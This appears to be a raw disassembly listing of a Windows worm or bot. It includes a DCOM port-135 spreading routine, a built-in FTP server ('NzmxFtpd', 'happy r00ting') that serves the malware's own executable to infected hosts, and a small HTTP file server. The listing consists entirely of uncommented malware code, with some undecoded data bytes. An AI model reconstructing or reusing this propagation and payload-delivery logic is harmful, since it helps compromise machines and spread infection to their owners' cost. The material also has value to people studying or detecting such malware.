mov esi, eax
test esi, esi
jnz short loc_4052A8
lea eax, [ebp+0Ch]
push eax
call near ptr 71AB12F8h
nop
mov ebx, eax
jmp short loc_4052AE
; ---------------------------------------------------------------------------
loc_4052A8: ; CODE XREF: ___:00405298j
mov ebx, [ebp+0C0h]
loc_4052AE: ; CODE XREF: ___:004052A6j
push 11h
push 2
push 2
nop
call near ptr 71AB3C22h
test esi, esi
mov edi, eax
jz short loc_4052D8
movsx eax, word ptr [esi+0Ah]
push eax
mov eax, [esi+0Ch]
push dword ptr [eax]
lea eax, [ebp-0Ch]
push eax
call sub_417390
add esp, 0Ch
jmp short loc_4052DB
; ---------------------------------------------------------------------------
loc_4052D8: ; CODE XREF: ___:004052BEj
mov [ebp-0Ch], ebx
loc_4052DB: ; CODE XREF: ___:004052D6j
test esi, esi
jz short loc_4052E9
mov ax, [esi+8]
mov [ebp-10h], ax
jmp short loc_4052EF
; ---------------------------------------------------------------------------
loc_4052E9: ; CODE XREF: ___:004052DDj
mov word ptr [ebp-10h], 2
loc_4052EF: ; CODE XREF: ___:004052E7j
push 599h
call near ptr 71AB1746h
nop
mov [ebp-0Eh], ax
lea eax, [ebp-10h]
push 10h
push eax
push edi
call near ptr 71AB3E5Dh
nop
test eax, eax
jnz loc_4053BE
push eax
push 1C9h
push offset loc_429E74
push edi
nop
call near ptr 71AB1AF4h
push 3E8h
nop
call near ptr 2610E88h
sub esp, 0BCh
lea esi, [ebp+8]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_405144
add esp, 0BCh
test al, al
jz short loc_405354
push 1
pop eax
jmp short loc_4053D0
; ---------------------------------------------------------------------------
loc_405354: ; CODE XREF: ___:0040534Dj
lea eax, [ebp+0Ch]
push eax
mov eax, [ebp+0B0h]
imul eax, 3Ch
add eax, offset aDcom135 ; "Dcom135"
push eax
push offset unk_42A0B0
lea eax, [ebp-210h]
push 200h
push eax
call sub_41782A
push 0
lea eax, [ebp-210h]
push dword ptr [ebp+0B8h]
push eax
lea eax, [ebp+1Ch]
push eax
push dword ptr [ebp+8]
call sub_40D679
lea eax, [ebp-210h]
push eax
call sub_40BF6D
mov eax, [ebp+0B0h]
add esp, 2Ch
imul eax, 3Ch
inc dword_42ACB8[eax]
lea eax, dword_42ACB8[eax]
jmp short loc_4053CE
; ---------------------------------------------------------------------------
loc_4053BE: ; CODE XREF: ___:0040530Dj
push 1
push edi
call near ptr 71AB8629h
nop
push edi
nop
call near ptr 71AB1A6Dh
loc_4053CE: ; CODE XREF: ___:004053BCj
xor eax, eax
loc_4053D0: ; CODE XREF: ___:00405352j
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4053D5 proc near ; DATA XREF: sub_407252+226o
var_A6C = byte ptr -0A6Ch
var_8DC = byte ptr -8DCh
var_6DC = dword ptr -6DCh
var_6D8 = byte ptr -6D8h
var_4C4 = byte ptr -4C4h
var_444 = dword ptr -444h
var_440 = dword ptr -440h
var_438 = dword ptr -438h
var_334 = byte ptr -334h
var_2D0 = byte ptr -2D0h
var_29C = byte ptr -29Ch
var_228 = dword ptr -228h
var_224 = dword ptr -224h
var_124 = byte ptr -124h
var_F8 = byte ptr -0F8h
var_C4 = byte ptr -0C4h
var_AC = byte ptr -0ACh
var_48 = byte ptr -48h
var_38 = word ptr -38h
var_36 = word ptr -36h
var_34 = dword ptr -34h
var_28 = dword ptr -28h
var_20 = byte ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0A6Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 1
mov ecx, 0A9h
mov esi, eax
lea edi, [ebp+var_6DC]
pop ebx
rep movsd
mov [eax+2A0h], ebx
lea eax, [ebp+var_A6C]
xor edi, edi
push eax
push 101h
mov [ebp+var_28], ebx
mov [ebp+var_18], ebx
mov [ebp+var_228], edi
mov [ebp+var_438], edi
nop
call near ptr 71AB41DAh
push edi
call sub_4186B1
push eax
call sub_417302
push 0FEB0h
push 406h
call sub_415450
add esp, 10h
mov dword_436F0C, eax
push edi
push ebx
push 2
nop
call near ptr 71AB3C22h
mov esi, eax
lea eax, [ebp+var_28]
push 4
push eax
push 4
push 0FFFFh
push esi
mov [ebp+var_C], esi
call near ptr 71AB3F8Dh
nop
lea eax, [ebp+var_18]
push eax
push 8004667Eh
push esi
call near ptr 71AB155Ah
nop
mov ax, word ptr dword_436F0C
mov [ebp+var_38], 2
push eax
mov [ebp+var_34], edi
nop
call near ptr 71AB1746h
mov [ebp+var_36], ax
lea eax, [ebp+var_38]
push 10h
push eax
push esi
call near ptr 71AB3ECEh
nop
test eax, eax
jge short loc_4054AA
mov eax, ebx
jmp loc_4059D4
; ---------------------------------------------------------------------------
loc_4054AA: ; CODE XREF: sub_4053D5+CCj
push 0Ah
push esi
call near ptr 71AB5DE2h
nop
mov [ebp+var_228], ebx
mov ebx, dword_424208
mov [ebp+var_224], esi
mov [ebp+var_4], esi
loc_4054C8: ; CODE XREF: sub_4053D5+12Cj
; sub_4053D5+5F7j
push 41h
lea esi, [ebp+var_228]
pop ecx
lea edi, [ebp+var_438]
rep movsd
xor esi, esi
lea eax, [ebp+var_438]
push esi
push esi
push esi
push eax
mov eax, [ebp+var_4]
inc eax
push eax
nop
call near ptr 71AB1890h
cmp eax, 0FFFFFFFFh
jz loc_4059D1
xor edi, edi
cmp [ebp+var_4], esi
mov [ebp+arg_0], edi
jl short loc_4054C8
loc_405503: ; CODE XREF: sub_4053D5+5F1j
xor esi, esi
push 64h
lea eax, [ebp+var_29C]
push esi
push eax
call sub_417330
push 64h
lea eax, [ebp+var_AC]
push esi
push eax
call sub_417330
add esp, 18h
lea eax, [ebp+var_438]
push eax
push edi
call sub_422A46
; ---------------------------------------------------------------------------
db 85h
dd 84840FC0h, 3B000004h, 7A75F47Dh, 0C7DC458Dh, 10DC45h
dd 8D500000h, 0FFFDC885h, 75FF50FFh, 32E890F4h, 83716B31h
dd 840FFFF8h, 45Bh, 0B539C933h, 0FFFFFDD8h, 958D1676h
dd 0FFFFFDDCh
; ---------------------------------------------------------------------------
loc_405574: ; CODE XREF: sub_4053D5+1ADj
cmp [edx], eax
jz short loc_405584
inc ecx
add edx, 4
cmp ecx, [ebp+var_228]
jb short loc_405574
loc_405584: ; CODE XREF: sub_4053D5+1A1j
cmp ecx, [ebp+var_228]
jnz short loc_4055A2
cmp [ebp+var_228], 40h
jnb short loc_4055A2
mov [ebp+ecx*4+var_224], eax
inc [ebp+var_228]
loc_4055A2: ; CODE XREF: sub_4053D5+1B5j
; sub_4053D5+1BEj
cmp eax, [ebp+var_4]
jle short loc_4055AA
mov [ebp+var_4], eax
loc_4055AA: ; CODE XREF: sub_4053D5+1D0j
push esi
push 15h
push offset a220Nzmxftpd0wn ; "220 NzmxFtpd 0wns j0\n"
push eax
call ebx ; send
jmp loc_4059BF
; ---------------------------------------------------------------------------
dw 8D56h
; ---------------------------------------------------------------------------
test [ebp+edi*8+var_4+3], esp
jmp fword ptr [edx+64h]
; ---------------------------------------------------------------------------
db 50h
dd 0C5E89057h, 85716B00h, 8B527FC0h, 0FFFDD895h, 3BC933FFh
dd 8D3A76D6h, 0FFFDDC85h
db 0FFh
; ---------------------------------------------------------------------------
loc_4055E1: ; CODE XREF: sub_4053D5+216j
cmp [eax], edi
jz short loc_4055EF
inc ecx
add eax, 4
cmp ecx, edx
jb short loc_4055E1
jmp short loc_405615
; ---------------------------------------------------------------------------
loc_4055EF: ; CODE XREF: sub_4053D5+20Ej
dec edx
cmp ecx, edx
jnb short loc_40560F
lea eax, [ebp+ecx*4+var_224]
loc_4055FB: ; CODE XREF: sub_4053D5+238j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov edx, [ebp+var_228]
add eax, 4
dec edx
cmp ecx, edx
jb short loc_4055FB
loc_40560F: ; CODE XREF: sub_4053D5+21Dj
dec [ebp+var_228]
loc_405615: ; CODE XREF: sub_4053D5+218j
push edi
nop
call near ptr 71AB1A6Dh
jmp loc_4059BF
; ---------------------------------------------------------------------------
lea eax, [ebp+var_334]
push eax
lea eax, [ebp+var_AC]
push eax
lea eax, [ebp+var_29C]
push offset aSS_1 ; "%s %s"
push eax
call sub_418A52
lea eax, [ebp+var_AC]
push offset aUser_1 ; "USER"
push eax
call sub_4176D0
add esp, 18h
test eax, eax
jnz short loc_405665
push esi
push 16h
push offset a331PasswordReq ; "331 Password required\n"
jmp loc_4059AA
; ---------------------------------------------------------------------------
loc_405665: ; CODE XREF: sub_4053D5+281j
lea eax, [ebp+var_AC]
push offset aPass ; "PASS"
push eax
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_405689
push esi
push 14h
push offset a230UserLoggedI ; "230 User logged in.\n"
jmp loc_4059AA
; ---------------------------------------------------------------------------
loc_405689: ; CODE XREF: sub_4053D5+2A5j
lea eax, [ebp+var_AC]
push offset aSyst ; "SYST"
push eax
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_4056AD
push esi
push 0Dh
push offset a215Nzmxftpd ; "215 NzmxFtpd\n"
jmp loc_4059AA
; ---------------------------------------------------------------------------
loc_4056AD: ; CODE XREF: sub_4053D5+2C9j
lea eax, [ebp+var_AC]
push offset aRest ; "REST"
push eax
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_4056D1
push esi
push 10h
push offset a350Restarting_ ; "350 Restarting.\n"
jmp loc_4059AA
; ---------------------------------------------------------------------------
loc_4056D1: ; CODE XREF: sub_4053D5+2EDj
lea eax, [ebp+var_AC]
push offset off_42A2D0
push eax
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_4056F5
push esi
push 1Eh
push offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
jmp loc_4059AA
; ---------------------------------------------------------------------------
loc_4056F5: ; CODE XREF: sub_4053D5+311j
lea eax, [ebp+var_AC]
push offset aType ; "TYPE"
push eax
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_405730
lea eax, [ebp+var_334]
push offset aA ; "A"
push eax
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_405730
push esi
push 13h
push offset a200TypeSetToA_ ; "200 Type set to A.\n"
jmp loc_4059AA
; ---------------------------------------------------------------------------
loc_405730: ; CODE XREF: sub_4053D5+335j
; sub_4053D5+34Cj
lea eax, [ebp+var_AC]
push offset aType ; "TYPE"
push eax
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40576B
lea eax, [ebp+var_334]
push offset aI ; "I"
push eax
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40576B
push esi
push 13h
push offset a200TypeSetToI_ ; "200 Type set to I.\n"
jmp loc_4059AA
; ---------------------------------------------------------------------------
loc_40576B: ; CODE XREF: sub_4053D5+370j
; sub_4053D5+387j
lea eax, [ebp+var_AC]
push offset aPasv ; "PASV"
push eax
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_4057B9
push 0Ah
mov esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
pop ecx
lea edi, [ebp+var_124]
rep movsd
push eax
lea eax, [ebp+var_124]
push eax
movsw
call sub_417AB0
pop ecx
push eax
lea eax, [ebp+var_124]
loc_4057A9: ; CODE XREF: sub_4053D5+423j
push eax
push [ebp+arg_0]
call ebx ; send
xor esi, esi
loc_4057B1: ; CODE XREF: sub_4053D5+4F6j
mov edi, [ebp+arg_0]
jmp loc_4059AD
; ---------------------------------------------------------------------------
loc_4057B9: ; CODE XREF: sub_4053D5+3ABj
lea eax, [ebp+var_AC]
push offset aList ; "LIST"
push eax
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_4057FA
push 5
mov esi, offset a226TransferCom ; "226 Transfer complete\n"
pop ecx
lea edi, [ebp+var_C4]
rep movsd
movsw
push eax
lea eax, [ebp+var_C4]
push eax
movsb
call sub_417AB0
pop ecx
push eax
lea eax, [ebp+var_C4]
jmp short loc_4057A9
; ---------------------------------------------------------------------------
loc_4057FA: ; CODE XREF: sub_4053D5+3F9j
lea eax, [ebp+var_AC]
push offset aPort ; "PORT"
push eax
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz loc_4058D0
lea eax, [ebp+var_2D0]
push eax
lea eax, [ebp+var_F8]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_29C]
push offset aS ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
push eax
call sub_418A52
lea eax, [ebp+var_F8]
push eax
call sub_41781F
mov edi, eax
lea eax, [ebp+var_2D0]
push eax
call sub_41781F
mov [ebp+var_8], eax
push 32h
lea eax, [ebp+var_F8]
push esi
push eax
call sub_417330
add esp, 34h
lea eax, [ebp+var_F8]
push [ebp+var_8]
push edi
push offset aXX ; "%x%x\n"
push eax
call sub_4172B0
push 10h
lea eax, [ebp+var_F8]
push esi
push eax
call sub_418A3B
add esp, 1Ch
mov [ebp+var_8], eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_48]
push offset aS_S_S_S ; "%s.%s.%s.%s"
push eax
call sub_4172B0
add esp, 18h
push esi
push 1Dh
push offset a200PortCommand ; "200 PORT command successful.\n"
push [ebp+arg_0]
call ebx ; send
jmp loc_4057B1
; ---------------------------------------------------------------------------
loc_4058D0: ; CODE XREF: sub_4053D5+43Aj
lea eax, [ebp+var_AC]
push offset aRetr ; "RETR"
push eax
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz loc_40598B
push esi
push 28h
push offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
push edi
call ebx ; send
push [ebp+var_8]
lea eax, [ebp+var_48]
push eax
call sub_4059DB
pop ecx
cmp eax, 1
pop ecx
jnz short loc_405981
call sub_405A58
cmp eax, 1
jnz loc_4059AD
push esi
push 17h
push offset a226TransferC_0 ; "226 Transfer complete.\n"
push edi
call ebx ; send
lea eax, [ebp+var_6D8]
push eax
lea eax, [ebp+var_48]
push dword_436F0C
push eax
lea eax, [ebp+var_8DC]
push offset unk_42A128
push eax
call sub_4172B0
add esp, 14h
cmp [ebp+var_440], esi
jnz short loc_405972
push esi
lea eax, [ebp+var_8DC]
push [ebp+var_444]
push eax
lea eax, [ebp+var_4C4]
push eax
push [ebp+var_6DC]
call sub_40D679
add esp, 14h
loc_405972: ; CODE XREF: sub_4053D5+578j
lea eax, [ebp+var_8DC]
push eax
call sub_40BF6D
pop ecx
jmp short loc_4059AD
; ---------------------------------------------------------------------------
loc_405981: ; CODE XREF: sub_4053D5+532j
push esi
push 20h
push offset a425CanTOpenDat ; "425 Can't open data connection.\n"
jmp short loc_4059AA
; ---------------------------------------------------------------------------
loc_40598B: ; CODE XREF: sub_4053D5+510j
lea eax, [ebp+var_AC]
push offset aQuit ; "QUIT"
push eax
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_4059AD
push esi
push 1Bh
push offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"
loc_4059AA: ; CODE XREF: sub_4053D5+28Bj
; sub_4053D5+2AFj ...
push edi
call ebx ; send
loc_4059AD: ; CODE XREF: sub_4053D5+3DFj
; sub_4053D5+53Cj ...
push 64h
lea eax, [ebp+var_29C]
push esi
push eax
call sub_417330
add esp, 0Ch
loc_4059BF: ; CODE XREF: sub_4053D5+1E0j
; sub_4053D5+247j
inc edi
cmp edi, [ebp+var_4]
mov [ebp+arg_0], edi
jle loc_405503
jmp loc_4054C8
; ---------------------------------------------------------------------------
loc_4059D1: ; CODE XREF: sub_4053D5+11Ej
push 1
pop eax
loc_4059D4: ; CODE XREF: sub_4053D5+D0j
pop edi
pop esi
pop ebx
leave
retn 4
sub_4053D5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4059DB proc near ; CODE XREF: sub_4053D5+528p
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 1A0h
lea eax, [ebp+var_1A0]
push eax
push 101h
nop
call near ptr 71AB41DAh
push 0
push 1
push 2
nop
call near ptr 71AB3C22h
push [ebp+arg_0]
mov dword_436F08, eax
mov [ebp+var_10], 2
nop
call near ptr 71AB12F8h
push [ebp+arg_4]
mov [ebp+var_C], eax
nop
call near ptr 71AB1746h
mov [ebp+var_E], ax
lea eax, [ebp+var_10]
push 10h
push eax
push dword_436F08
nop
call near ptr 71AB3E5Dh
cmp eax, 0FFFFFFFFh
jnz short loc_405A53
push dword_436F08
nop
call near ptr 71AB1A6Dh
nop
call near ptr 71AB1836h
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_405A53: ; CODE XREF: sub_4059DB+60j
push 1
pop eax
leave
retn
sub_4059DB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405A58 proc near ; CODE XREF: sub_4053D5+534p
var_504 = byte ptr -504h
var_104 = byte ptr -104h
push ebp
mov ebp, esp
sub esp, 504h
push esi
lea eax, [ebp+var_104]
push 104h
push eax
push 0
call near ptr 2670000h
nop
lea eax, [ebp+var_104]
push offset aRb ; "rb"
push eax
call sub_4179A8
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_405AEF
test byte ptr [esi+0Ch], 10h
jnz short loc_405AD3
push edi
mov edi, 400h
loc_405A9B: ; CODE XREF: sub_405A58+78j
push esi
push 1
lea eax, [ebp+var_504]
push edi
push eax
call sub_418A86
add esp, 10h
lea eax, [ebp+var_504]
push 0
push edi
push eax
push dword_436F08
call near ptr 71AB1AF4h
nop
push 1
nop
call near ptr 2610E88h
test byte ptr [esi+0Ch], 10h
jz short loc_405A9B
pop edi
loc_405AD3: ; CODE XREF: sub_405A58+3Bj
push esi
call sub_417900
pop ecx
push dword_436F08
call near ptr 71AB1A6Dh
nop
nop
call near ptr 71AB1836h
push 1
pop eax
loc_405AEF: ; CODE XREF: sub_405A58+35j
pop esi
leave
retn
sub_405A58 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405AF2 proc near ; DATA XREF: sub_407252+333o
; sub_40EE72+54E8o
var_28F0 = byte ptr -28F0h
var_18F0 = byte ptr -18F0h
var_8F0 = byte ptr -8F0h
var_6F0 = byte ptr -6F0h
var_5EC = dword ptr -5ECh
var_5E8 = byte ptr -5E8h
var_360 = byte ptr -360h
var_25C = dword ptr -25Ch
var_254 = dword ptr -254h
var_250 = dword ptr -250h
var_24C = dword ptr -24Ch
var_248 = dword ptr -248h
var_23C = byte ptr -23Ch
var_138 = dword ptr -138h
var_134 = dword ptr -134h
var_34 = byte ptr -34h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 28F0h
call sub_417B30
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp+var_5EC]
push 1
rep movsd
pop esi
xor ebx, ebx
mov [eax+3ACh], esi
push 10h
lea eax, [ebp+var_24]
push ebx
push eax
mov [ebp+var_14], esi
call sub_417330
add esp, 0Ch
mov [ebp+var_24], 2
push [ebp+var_25C]
call dword_43AD98
push ebx
push esi
push 2
mov [ebp+var_22], ax
mov [ebp+var_20], ebx
call dword_43AE18
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_C], edi
jz loc_405EDD
mov eax, [ebp+var_254]
push 10h
imul eax, 234h
mov dword_4407FC[eax], edi
lea eax, [ebp+var_24]
push eax
push edi
call dword_43ADC4
cmp eax, 0FFFFFFFFh
jz loc_405EDD
push 7FFFFFFFh
push edi
call dword_43ADC0
cmp eax, 0FFFFFFFFh
jz loc_405EDD
lea eax, [ebp+var_14]
push eax
push 8004667Eh
push edi
call dword_43AE34
cmp eax, 0FFFFFFFFh
jz loc_405EDD
mov ebx, esi
mov [ebp+var_134], edi
mov [ebp+var_138], ebx
mov [ebp+var_8], edi
loc_405BC9: ; CODE XREF: sub_405AF2+3E1j
push 41h
xor eax, eax
pop ecx
lea esi, [ebp+var_138]
push eax
push eax
push eax
lea eax, [ebp+var_6F0]
push eax
mov eax, [ebp+var_8]
lea edi, [ebp+var_6F0]
inc eax
rep movsd
push eax
call dword_43AD80
cmp eax, 0FFFFFFFFh
jz loc_405ED8
xor esi, esi
mov [ebp+var_4], esi
loc_405BFF: ; CODE XREF: sub_405AF2+3DBj
lea eax, [ebp+var_6F0]
push eax
push esi
call dword_43AC90
test eax, eax
jz loc_405EC3
cmp esi, [ebp+var_C]
jnz short loc_405C81
lea eax, [ebp+var_10]
mov [ebp+var_10], 10h
push eax
lea eax, [ebp+var_34]
push eax
push [ebp+var_C]
call dword_43AE2C
cmp eax, 0FFFFFFFFh
jz loc_405EC3
xor ecx, ecx
test ebx, ebx
jbe short loc_405C53
lea edx, [ebp+var_134]
loc_405C47: ; CODE XREF: sub_405AF2+15Fj
cmp [edx], eax
jz short loc_405C53
inc ecx
add edx, 4
cmp ecx, ebx
jb short loc_405C47
loc_405C53: ; CODE XREF: sub_405AF2+14Dj
; sub_405AF2+157j
cmp ecx, ebx
jnz short loc_405C70
cmp ebx, 40h
jnb short loc_405C70
mov [ebp+ecx*4+var_134], eax
mov ebx, [ebp+var_138]
inc ebx
mov [ebp+var_138], ebx
loc_405C70: ; CODE XREF: sub_405AF2+163j
; sub_405AF2+168j
cmp eax, [ebp+var_8]
jbe loc_405EC3
mov [ebp+var_8], eax
jmp loc_405EC3
; ---------------------------------------------------------------------------
loc_405C81: ; CODE XREF: sub_405AF2+126j
mov edi, 1000h
lea eax, [ebp+var_28F0]
push edi
push 0
push eax
call sub_417330
push edi
lea eax, [ebp+var_18F0]
push 0
push eax
call sub_417330
add esp, 18h
lea eax, [ebp+var_28F0]
push 0
push edi
push eax
push esi
call dword_43ADB0
test eax, eax
jg short loc_405D14
push esi
call dword_43AE30
xor ecx, ecx
test ebx, ebx
jbe loc_405EC3
lea eax, [ebp+var_134]
loc_405CD3: ; CODE XREF: sub_405AF2+1EBj
cmp [eax], esi
jz short loc_405CE4
inc ecx
add eax, 4
cmp ecx, ebx
jb short loc_405CD3
jmp loc_405EC3
; ---------------------------------------------------------------------------
loc_405CE4: ; CODE XREF: sub_405AF2+1E3j
lea eax, [ebx-1]
cmp ecx, eax
jnb short loc_405D08
lea eax, [ebp+ecx*4+var_134]
loc_405CF2: ; CODE XREF: sub_405AF2+214j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov ebx, [ebp+var_138]
add eax, 4
lea edx, [ebx-1]
cmp ecx, edx
jb short loc_405CF2
loc_405D08: ; CODE XREF: sub_405AF2+1F7j
dec ebx
mov [ebp+var_138], ebx
jmp loc_405EC3
; ---------------------------------------------------------------------------
loc_405D14: ; CODE XREF: sub_405AF2+1C8j
xor esi, esi
push 104h
lea eax, [ebp+var_23C]
push esi
push eax
call sub_417330
lea eax, [ebp+var_28F0]
mov [ebp+arg_0], esi
push eax
call sub_417AB0
add esp, 10h
test eax, eax
jbe loc_405EC3
loc_405D42: ; CODE XREF: sub_405AF2+309j
mov eax, [ebp+arg_0]
mov al, [ebp+eax+var_28F0]
cmp al, 0Ah
mov [ebp+esi+var_18F0], al
jnz loc_405DE7
mov esi, offset aGet ; "GET "
lea eax, [ebp+var_18F0]
push esi
push eax
call sub_417880
pop ecx
test eax, eax
pop ecx
jz short loc_405DBB
lea eax, [ebp+var_18F0]
push eax
call sub_417AB0
cmp eax, 5
pop ecx
jbe short loc_405DBB
mov eax, offset asc_42A3B4 ; " "
push eax
push eax
lea eax, [ebp+var_18F0]
push esi
push eax
call sub_417880
pop ecx
pop ecx
push eax
call sub_417880
pop ecx
pop ecx
push eax
call sub_418B6E
push eax
lea eax, [ebp+var_23C]
push eax
call sub_4179C0
add esp, 10h
jmp short loc_405DD2
; ---------------------------------------------------------------------------
loc_405DBB: ; CODE XREF: sub_405AF2+27Fj
; sub_405AF2+291j
lea eax, [ebp+var_18F0]
push offset asc_42A3B0 ; "\r\n"
push eax
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz short loc_405E06
loc_405DD2: ; CODE XREF: sub_405AF2+2C7j
push edi
lea eax, [ebp+var_18F0]
push 0
push eax
call sub_417330
add esp, 0Ch
or esi, 0FFFFFFFFh
loc_405DE7: ; CODE XREF: sub_405AF2+263j
inc [ebp+arg_0]
lea eax, [ebp+var_28F0]
push eax
inc esi
call sub_417AB0
cmp [ebp+arg_0], eax
pop ecx
jb loc_405D42
jmp loc_405EC3
; ---------------------------------------------------------------------------
loc_405E06: ; CODE XREF: sub_405AF2+2DEj
xor ecx, ecx
test ebx, ebx
jbe short loc_405E50
lea eax, [ebp+var_134]
loc_405E12: ; CODE XREF: sub_405AF2+32Dj
mov esi, [ebp+var_4]
cmp [eax], esi
jz short loc_405E23
inc ecx
add eax, 4
cmp ecx, ebx
jb short loc_405E12
jmp short loc_405E53
; ---------------------------------------------------------------------------
loc_405E23: ; CODE XREF: sub_405AF2+325j
lea eax, [ebx-1]
cmp ecx, eax
jnb short loc_405E47
lea eax, [ebp+ecx*4+var_134]
loc_405E31: ; CODE XREF: sub_405AF2+353j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov ebx, [ebp+var_138]
add eax, 4
lea edx, [ebx-1]
cmp ecx, edx
jb short loc_405E31
loc_405E47: ; CODE XREF: sub_405AF2+336j
dec ebx
mov [ebp+var_138], ebx
jmp short loc_405E53
; ---------------------------------------------------------------------------
loc_405E50: ; CODE XREF: sub_405AF2+318j
mov esi, [ebp+var_4]
loc_405E53: ; CODE XREF: sub_405AF2+32Fj
; sub_405AF2+35Cj
lea eax, [ebp+var_23C]
test eax, eax
jz short loc_405EBC
lea eax, [ebp+var_360]
push eax
call sub_417AB0
mov edi, eax
lea eax, [ebp+var_23C]
push eax
call sub_417AB0
add edi, eax
pop ecx
cmp edi, 104h
pop ecx
jnb short loc_405EBC
and [ebp+arg_0], 0
lea eax, [ebp+arg_0]
push eax
push 8004667Eh
push esi
call dword_43AE34
push [ebp+var_254]
lea eax, [ebp+var_23C]
push [ebp+var_248]
push eax
lea eax, [ebp+var_360]
push eax
push esi
call sub_4060D0
add esp, 14h
jmp short loc_405EC3
; ---------------------------------------------------------------------------
loc_405EBC: ; CODE XREF: sub_405AF2+369j
; sub_405AF2+38Fj
push esi
call dword_43AE30
loc_405EC3: ; CODE XREF: sub_405AF2+11Dj
; sub_405AF2+143j ...
mov esi, [ebp+var_4]
inc esi
cmp esi, [ebp+var_8]
mov [ebp+var_4], esi
jbe loc_405BFF
jmp loc_405BC9
; ---------------------------------------------------------------------------
loc_405ED8: ; CODE XREF: sub_405AF2+102j
mov edi, [ebp+var_C]
xor ebx, ebx
loc_405EDD: ; CODE XREF: sub_405AF2+6Aj
; sub_405AF2+92j ...
call dword_43AD2C
push eax
lea eax, [ebp+var_8F0]
push offset unk_42A36C
push eax
call sub_4172B0
add esp, 0Ch
cmp [ebp+var_24C], ebx
jnz short loc_405F23
push ebx
lea eax, [ebp+var_8F0]
push [ebp+var_250]
push eax
lea eax, [ebp+var_5E8]
push eax
push [ebp+var_5EC]
call sub_40D679
add esp, 14h
loc_405F23: ; CODE XREF: sub_405AF2+40Cj
lea eax, [ebp+var_8F0]
push eax
call sub_40BF6D
pop ecx
push edi
call dword_43AE30
push [ebp+var_254]
call sub_417078
pop ecx
push ebx
nop
call near ptr 261031Eh
pop edi
pop esi
pop ebx
sub_405AF2 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405F4D proc near ; DATA XREF: sub_4060D0+24Do
var_1654 = byte ptr -1654h
var_654 = byte ptr -654h
var_550 = byte ptr -550h
var_44C = dword ptr -44Ch
var_3C8 = byte ptr -3C8h
var_2C4 = byte ptr -2C4h
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_A4 = dword ptr -0A4h
var_9C = byte ptr -9Ch
var_68 = byte ptr -68h
var_20 = byte ptr -20h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1654h
call sub_417B30
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp+var_44C]
rep movsd
mov dword ptr [eax+3ACh], 1
lea eax, [ebp+var_3C8]
push eax
lea eax, [ebp+var_550]
push eax
call sub_4172B0
pop ecx
lea eax, [ebp+var_2C4]
pop ecx
push eax
lea eax, [ebp+var_654]
push eax
call sub_4172B0
xor edi, edi
pop ecx
cmp [ebp+var_A4], edi
pop ecx
jz short loc_405FB3
push offset aTextHtml ; "text/html"
jmp short loc_405FB8
; ---------------------------------------------------------------------------
loc_405FB3: ; CODE XREF: sub_405F4D+5Dj
push offset aApplicationOct ; "application/octet-stream"
loc_405FB8: ; CODE XREF: sub_405F4D+64j
lea eax, [ebp+var_9C]
push eax
call sub_4172B0
pop ecx
lea eax, [ebp+var_68]
pop ecx
mov esi, 409h
push 46h
push eax
push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy"
push edi
push edi
push esi
nop
call near ptr 2690000h
lea eax, [ebp+var_20]
